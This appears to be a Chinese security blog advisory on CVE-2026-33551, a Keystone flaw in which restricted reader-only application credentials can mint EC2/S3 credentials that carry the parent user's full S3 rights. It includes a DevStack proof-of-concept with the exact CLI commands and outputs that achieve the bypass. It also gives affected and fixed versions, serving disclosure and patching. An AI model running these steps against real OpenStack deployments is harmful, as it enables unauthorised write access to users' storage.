首页 网络安全 正文
  • 本文约1977字,阅读需10分钟
  • 196
  • 0

Keystone应用凭据权限绕过漏洞CVE-2026-33551

摘要

栋科技漏洞库关注到Keystone中存在的一个应用凭据权限绕过漏洞,该漏洞现已被追踪为CVE-2026-33551,漏洞CVSS 3.1评分为3.5。

Keystone(项目代号:keystone,服务类型:identity)是 OpenStack 云平台核心基础组件、统一身份认证与授权服务,是关键组件。

一、基本情况

Keystone 是部署 OpenStack 时必须首先安装的服务,相当于整个云环境的 “门禁系统”“权限中心” 与 “服务注册表”,基于 Python 开发。

Keystone应用凭据权限绕过漏洞CVE-2026-33551

Keystone 作为身份管理与授权核心组件采用 WSGI 框架,以 RESTful API 对外提供服务,核心架构分为五大内部服务与后端存储驱动。

栋科技漏洞库关注到Keystone中存在的一个应用凭据权限绕过漏洞,该漏洞现已被追踪为CVE-2026-33551,漏洞CVSS 3.1评分为3.5。

二、漏洞分析

CVE-2026-3355是一个存在于 OpenStack Keystone 的 EC2 凭证创建接口中的漏洞,由橙色网络安全防御中心漏洞情报观察团队报告。

该漏洞源于Keystone在处理“受限应用凭据(Restricted Application Credentials)”时,没用能够正确限制其创建 EC2 凭据的能力所致。

仅拥有 reader 角色的已认证用户利用受限的应用凭据调用 EC2 凭据创建 API,从而获取一组具备父用户完整 S3 权限的 EC2/S3 凭据。

从而直接绕过了应用凭据原本设定的角色限制,仅同时使用受限应用凭证与 EC2/S3 兼容 API(swift3 /s3api)的部署环境会受此影响。

三、POC概念验证

在 OpenStack 环境中,攻击者可利用受限(只读)应用凭证,通过 EC2 凭证获取对用户 S3 存储桶的完整(读写)访问权限。

该漏洞可在 DevStack File 及 OVH 公有云环境中复现。

1、漏洞验证代码

首先,准备一台虚拟机(Ubuntu Noble 24.04 环境效果良好)并安装 DevStack File。

local.conf文件可参考如下配置,以启用 Swift 及 S3 兼容 API File。

[[local|localrc]]
ADMIN_PASSWORD=password
DATABASE_PASSWORD=password
RABBIT_PASSWORD=password
SERVICE_PASSWORD=password
SWIFT_REPLICAS=1
SWIFT_HASH=66a3d6b56c1f479c8b4e70ab5c2000f5
enable_service s-proxy s-object s-container s-account s3api

2、完成部署后,用户可创建应用凭证:

$ su - stack
$ cd devstack/
$ source openrc # 加载环境变量以完成OpenStack身份认证

$ openstack application credential create --restricted --role reader appcred

[...]
| ID | [APPID] |
| Secret | [APPSECRET] |
[...]

$ # 避免无关报错:
$ # 使用应用凭证认证时出错:应用凭证无法请求作用域。(HTTP 401)
$ unset OS_PROJECT_NAME

$ # 验证该应用凭证无法创建对象存储容器
$ openstack --os-auth-type v3applicationcredential --os-application-credential-id "[APPID]" --os-application-credential-secret "[APPSECRET]" container create testcontainer

权限不足(HTTP 403)(请求ID:[...])

$ openstack --os-auth-type v3applicationcredential --os-application-credential-id "[APPID]" --os-application-credential-secret "[APPSECRET]" ec2 credential create

[...]
| access | [AWS_KEY_ID] |
| secret | [AWS_KEY_SECRET] |
[...]

$ # 若在宿主机执行命令,请将127.0.0.1替换为虚拟机IP地址
$ AWS_ACCESS_KEY_ID=[AWS_KEY_ID] AWS_SECRET_ACCESS_KEY=[AWS_KEY_SECRET] aws --endpoint-url http://127.0.0.1:8080 s3api create-bucket --bucket testcontainer

{
    "Location": "/testcontainer"
}

四、影响范围

keystone < 26.1.1

五、修复建议

keystone >= 26.1.1

六、参考链接

管理员已设置登录后刷新可查看



扫描二维码,在手机上阅读
评论
更换验证码
友情链接